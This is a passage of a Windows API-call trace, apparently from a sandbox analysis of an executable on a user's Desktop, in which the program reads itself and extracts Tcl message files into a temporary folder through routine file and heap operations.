(dwErrCode=0x0) [0037.411] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\gl.msg") returned 61 [0037.411] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\gl.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\gl.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.411] GetLastError () returned 0x2 [0037.411] SetLastError (dwErrCode=0x2) [0037.411] GetLastError () returned 0x2 [0037.411] SetLastError (dwErrCode=0x2) [0037.411] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\gl.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\gl.msg", lpFilePart=0x0) returned 0x3c [0037.411] GetLastError () returned 0x2 [0037.411] SetLastError (dwErrCode=0x2) [0037.411] GetLastError () returned 0x2 [0037.411] SetLastError (dwErrCode=0x2) [0037.411] GetLastError () returned 0x2 [0037.411] SetLastError (dwErrCode=0x2) [0037.411] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\gl.msg") returned 61 [0037.411] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.411] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\gl.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\gl.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.412] GetFileType (hFile=0x10c) returned 0x1 [0037.412] htonl (hostlong=0xb6030000) returned 0x3b6 [0037.412] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.412] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x3b6, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x3b6, lpOverlapped=0x0) returned 1 [0037.413] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.413] CloseHandle (hObject=0x10c) returned 1 [0037.414] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550740 | out: hHeap=0x530000) returned 1 [0037.414] htonl (hostlong=0x30000000) returned 0x30 [0037.414] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.414] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.414] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.414] GetFileType (hFile=0x10c) returned 0x1 [0037.414] htonl (hostlong=0xa4675700) returned 0x5767a4 [0037.414] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c17a4, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.414] htonl (hostlong=0x9e000000) returned 0x9e [0037.414] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9e) returned 0x55cfe0 [0037.414] htonl (hostlong=0x9e000000) returned 0x9e [0037.414] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.414] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.414] htonl (hostlong=0xfb000000) returned 0xfb [0037.415] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfb) returned 0x550600 [0037.415] htonl (hostlong=0x9e000000) returned 0x9e [0037.415] htonl (hostlong=0xfb000000) returned 0xfb [0037.415] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.415] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.415] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.415] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.415] CloseHandle (hObject=0x10c) returned 1 [0037.415] GetLastError () returned 0x0 [0037.415] SetLastError (dwErrCode=0x0) [0037.415] GetLastError () returned 0x0 [0037.415] SetLastError (dwErrCode=0x0) [0037.415] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.415] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.415] GetFileType (hFile=0x10c) returned 0x1 [0037.415] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.415] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.415] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.415] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.415] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.415] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.415] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.415] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.415] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.415] CloseHandle (hObject=0x10c) returned 1 [0037.415] GetLastError () returned 0x0 [0037.416] SetLastError (dwErrCode=0x0) [0037.416] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.416] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.416] GetFileType (hFile=0x10c) returned 0x1 [0037.416] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.416] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.416] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.416] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.416] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.416] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.416] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.416] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.416] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.416] CloseHandle (hObject=0x10c) returned 1 [0037.416] GetLastError () returned 0x0 [0037.416] SetLastError (dwErrCode=0x0) [0037.416] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\gl_es.msg") returned 64 [0037.416] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\gl_es.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\gl_es.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.416] GetLastError () returned 0x2 [0037.416] SetLastError (dwErrCode=0x2) [0037.416] GetLastError () returned 0x2 [0037.416] SetLastError (dwErrCode=0x2) [0037.416] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\gl_es.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\gl_es.msg", lpFilePart=0x0) returned 0x3f [0037.416] GetLastError () returned 0x2 [0037.416] SetLastError (dwErrCode=0x2) [0037.417] GetLastError () returned 0x2 [0037.417] SetLastError (dwErrCode=0x2) [0037.417] GetLastError () returned 0x2 [0037.417] SetLastError (dwErrCode=0x2) [0037.417] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\gl_es.msg") returned 64 [0037.417] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.417] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\gl_es.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\gl_es.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.417] GetFileType (hFile=0x10c) returned 0x1 [0037.417] htonl (hostlong=0xfb000000) returned 0xfb [0037.417] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.417] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xfb, lpOverlapped=0x0) returned 1 [0037.418] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.418] CloseHandle (hObject=0x10c) returned 1 [0037.419] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.419] htonl (hostlong=0x30000000) returned 0x30 [0037.419] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.419] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.419] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.419] GetFileType (hFile=0x10c) returned 0x1 [0037.419] htonl (hostlong=0x42685700) returned 0x576842 [0037.419] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c1842, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.419] htonl (hostlong=0x41010000) returned 0x141 [0037.419] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x141) returned 0x550600 [0037.419] htonl (hostlong=0x41010000) returned 0x141 [0037.419] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.419] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.419] htonl (hostlong=0xd040000) returned 0x40d [0037.419] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x40d) returned 0x550750 [0037.419] htonl (hostlong=0x41010000) returned 0x141 [0037.419] htonl (hostlong=0xd040000) returned 0x40d [0037.419] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.419] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.419] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.419] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.419] CloseHandle (hObject=0x10c) returned 1 [0037.419] GetLastError () returned 0x0 [0037.420] SetLastError (dwErrCode=0x0) [0037.420] GetLastError () returned 0x0 [0037.420] SetLastError (dwErrCode=0x0) [0037.420] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.420] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.420] GetFileType (hFile=0x10c) returned 0x1 [0037.420] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.420] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.420] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.420] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.420] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.420] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.420] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.420] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.420] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.420] CloseHandle (hObject=0x10c) returned 1 [0037.420] GetLastError () returned 0x0 [0037.420] SetLastError (dwErrCode=0x0) [0037.420] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.420] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.420] GetFileType (hFile=0x10c) returned 0x1 [0037.420] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.420] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.420] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.420] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.421] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.421] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.421] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.421] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.421] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.421] CloseHandle (hObject=0x10c) returned 1 [0037.421] GetLastError () returned 0x0 [0037.421] SetLastError (dwErrCode=0x0) [0037.421] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\gv.msg") returned 61 [0037.421] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\gv.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\gv.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.421] GetLastError () returned 0x2 [0037.421] SetLastError (dwErrCode=0x2) [0037.421] GetLastError () returned 0x2 [0037.421] SetLastError (dwErrCode=0x2) [0037.421] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\gv.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\gv.msg", lpFilePart=0x0) returned 0x3c [0037.421] GetLastError () returned 0x2 [0037.421] SetLastError (dwErrCode=0x2) [0037.421] GetLastError () returned 0x2 [0037.421] SetLastError (dwErrCode=0x2) [0037.421] GetLastError () returned 0x2 [0037.421] SetLastError (dwErrCode=0x2) [0037.421] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\gv.msg") returned 61 [0037.421] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.421] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\gv.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\gv.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.422] GetFileType (hFile=0x10c) returned 0x1 [0037.422] htonl (hostlong=0xd040000) returned 0x40d [0037.422] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.422] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x40d, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x40d, lpOverlapped=0x0) returned 1 [0037.423] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.423] CloseHandle (hObject=0x10c) returned 1 [0037.424] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550750 | out: hHeap=0x530000) returned 1 [0037.424] htonl (hostlong=0x30000000) returned 0x30 [0037.424] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.424] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.424] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.424] GetFileType (hFile=0x10c) returned 0x1 [0037.424] htonl (hostlong=0x83695700) returned 0x576983 [0037.424] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c1983, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.424] htonl (hostlong=0x9f000000) returned 0x9f [0037.424] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9f) returned 0x55cfe0 [0037.424] htonl (hostlong=0x9f000000) returned 0x9f [0037.424] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.424] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.424] htonl (hostlong=0xfb000000) returned 0xfb [0037.424] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfb) returned 0x550600 [0037.424] htonl (hostlong=0x9f000000) returned 0x9f [0037.424] htonl (hostlong=0xfb000000) returned 0xfb [0037.424] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.424] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.424] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.424] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.425] CloseHandle (hObject=0x10c) returned 1 [0037.425] GetLastError () returned 0x0 [0037.425] SetLastError (dwErrCode=0x0) [0037.425] GetLastError () returned 0x0 [0037.425] SetLastError (dwErrCode=0x0) [0037.425] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.425] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, 